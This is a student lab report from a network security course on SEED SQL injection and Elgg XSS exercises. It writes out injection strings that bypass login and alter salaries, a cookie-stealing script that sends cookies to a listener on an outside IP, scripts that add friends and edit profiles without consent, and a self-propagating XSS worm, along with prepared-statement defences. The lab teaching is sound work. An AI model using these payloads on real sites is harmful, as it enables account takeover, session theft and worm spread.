20232815 2023-2024-2 《网络攻防实践》实践十报告

20232815 2023-2024-2 《网络攻防实践》实践十报告

1.实践内容

Web应用程序体系结构:

  • Web应用程序是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,也造就了B/S计算结构,提升了部署和应用的便捷性。
  • 浏览器主要完成数据显示与展示渲染
  • 服务器主要完成业务计算处理
  • 浏览器与服务器之间的通信通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信。

在这里插入图片描述

  • 浏览器: 使用HTTP/HTTPS协议、HTML语言与Web服务器进行交互,获取信息Web

  • 服务器: 不仅仅是一个HTTP守护程序,还有对各种Web动态编程语言的支持。

  • 数据库: Web应用存储数据的地方。

  • Web应用程序: 负责服务器端的业务逻辑处理,最为常见的三层体系结构:表示层:接受Web客户端的输入并显示结果。
    业务逻辑层:从表示层接受输入并完成某些工作,需要数据层的协作,再将结果送回表示层。数据层:以数据库或本地文件的形式,提供非易失的信息存储。

  • 传输协议HTTP/HTTPS: 浏览器与Web站点之间的通信传输协议使用HTTP/HTTPS协议,HTTP协议默认使用TCP 80端口,该协议采用统一资源标识符URI对各种资源进行统一定义,采用请求/响应模式。SSL/TLS隧道技术,来实现加密传输的HTTPS协议。

Web应用安全威胁:

  • 针对浏览器和终端用户的Web浏览安全威胁:网页木马、网站钓鱼等。
  • 针对传输层的网络协议安全威胁:针对HTTP明文传输协议的敏感信息监听、拒绝服务攻击等。
  • 系统层安全威胁:Web站点的宿主操作系统。
  • Web服务器软件安全威胁:Web服务器软件也存在着漏洞与弱点。
  • Web数据安全威胁: Web站点中在Web应用程序后台存储的关键数据内容。

在这里插入图片描述

2.实践过程

一、SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在 www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

1.熟悉SQL语句

我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

使用命令,打开Ubuntu的apache2服务,并进行服务的状态查看:

sudo service apache2 start
sudo service apache2 status

在这里插入图片描述

使用命令mysql -u root -pseedubuntu打开数据库并使用root进行登录。

mysql> use Users;
mysql> show tables;

切换到users权限,查看全部表,发现有Tables_in_Users和credential两张表。

在这里插入图片描述

输入命令select * from credential;,可以查看所有人员的信息,其中包括姓名,生日,地址等重要信息。

在这里插入图片描述
下面查看Alice的信息:

select * from credential where Name='Alice';

在这里插入图片描述
select from的意思就是从(数据库表)查询,where是接查询条件的关键字。

同理,我们还可以用以下几条语句对Alice进行查询。

select * from credential where ID=1;
select * from credential where EID=10000;

在这里插入图片描述

2.对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

在刚开始时,我们就已经运行了托管网站的Apache2服务器Apache Servert,下面访问网站http://www.SEEDLabSQLInjection.com。

在这里插入图片描述

查看源码,可以看到前端提交表单数据到unsafe_home.php进行校验。

在这里插入图片描述
在这里插入图片描述

输入命令vim /var/www/SQLInjection/unsafe_home.php查看源码并分析unsafe_home.php。

在这里插入图片描述

在这里插入图片描述

可以看到密码是被哈希加密过的。

下面将75行的代码修改为WHERE name= 'Admin'#' and Password='$hashed_pwd'";这样就可以饶过密码验证。因为#后面的语句都被注释掉了。

在这里插入图片描述
返回登录页面,输入用户名“Admin#”,密码不用输入,发现登陆成功。

在这里插入图片描述
在这里插入图片描述

注意!!!!
这样的做法需要修改源代码,在实际攻击中是不符合逻辑的,所以可以直接在用户名中输入命令Admin'#。'单引号是终止当前SQL语句,#是将后面的语句注释掉。

3.对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

点击“edit”选项,发现只能修改最基本的一些信息。

在这里插入图片描述

查看代码,发现和第2个实验类似,故直接进行修改。

在这里插入图片描述

在NickName项输入语句',Salary='20232815'where name='Admin';#,,后面的代码会被被注释掉,即直接执行set Salary='20232815' where name='Admin'代码。

在这里插入图片描述

4.SQL对抗:修复上述SQL注入攻击漏洞。

SQL注入能够成功的原因是因为源代码对SQL语句的数据和命令的判定并没有分开,而是混在一起使数据库无法分清楚。因此,使用php语言中的bind_param方法来绑定参数,并用"?"来代替参数,这样就能修复SQL注入攻击漏洞。

登录代码修改如下:

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password 
	FROM credential 
	WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

在这里插入图片描述

发现登录失败。

在这里插入图片描述
对update修改如下:

在这里插入图片描述
在这里插入图片描述

再次输入命令后出现白屏,重新登陆后发现修改失败。

二、SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu
VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

访问Web 网站:http://www.xsslabelgg.com ,其中:

用户名密码
Aliceseedalic
Bobyseedboby
Adminseedelgg
1.发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

登录Alice的账号,点击Edit profile,在Brief description中编写XSS攻击代码。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

点击save按钮,弹出提示框,证明攻击成功。

在这里插入图片描述

2.弹窗显示cookie信息:将cookie信息显示。

和上一步操作类似,在Brief description中编写代码。

在这里插入图片描述

在这里插入图片描述

保存后显示cookie信息。

3.窃取受害者的cookies:将cookie发送给攻击者。

首先查看本机的IP地址。

在这里插入图片描述

写入恶意代码,escape函数表示对字符串进行编码;监听端口为500。

<script>document.write('<img src=http://192.168.200.5:500?c='+escape(document.cookie) + ' >');</script>

在终端输入命令:nc -l 500-v,监听端口,获取Cookie。保存后,随便点击网页上的选项,发现监听成功。

在这里插入图片描述

4.成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

按F12打开开发者工具,将Boby添加为好友,观察网络状态。

在这里插入图片描述

在这里插入图片描述

通过查看response,发现添加好友有三个参数,分别为friend,_elgg_ts和_elgg_token。

于是在Alice的About栏中添加如下代码。

<p><script type="text/javascript">window.onload = function () {
    var Ajax = null;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
   var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}</script></p>

在这里插入图片描述

切换账号,点击Alice主页,发现自动添加了Alice。

在这里插入图片描述

5.修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

与上一个实验类似,修改代码如下:

<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "name=" + userName + "&description=<p>20232815...</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
	}
</script>

切换账户,此时是未访问Alice之前的主页。

在这里插入图片描述

访问Alice之后,发现被修改了。

在这里插入图片描述

6.编写XSS蠕虫。

继续修改Alice中的About me,使其可以具有传染性。

<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>";
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "&name=" + userName + "&description=<p>test6.20232815"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }</script>

访问完Alice之后,Boby主页被修改。

在这里插入图片描述
登录Admin,查看主页。

在这里插入图片描述

访问Boby主页,发现Admin的主页也被修改了。

在这里插入图片描述

7.对抗XSS攻击。

登录Admin账户,点击右上角的Account->administration->plugins,将HTML awed修改为Deactive状态。

在这里插入图片描述

在这里插入图片描述
此时查看Alice的主页,发现攻击代码以明文方式显示出来,同时自己的主页也没有任何变化。

在这里插入图片描述

在这里插入图片描述

3.学习中遇到的问题及解决

  • 问题1:再输入SQL命令时,没有出现想要的结果
  • 问题1解决方案:不能忘记加“;”
  • 问题2:在Alice的About me框中输入代码无效。
  • 问题2解决方案:点击右上角的Edit HTML,输入代码并保存。

4.实践总结

通过本次实验我学到了很多XSS的攻击方法,同时也对SQL语句,JS代码有了更深的理解。

  • 35
    点赞
  • 39
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值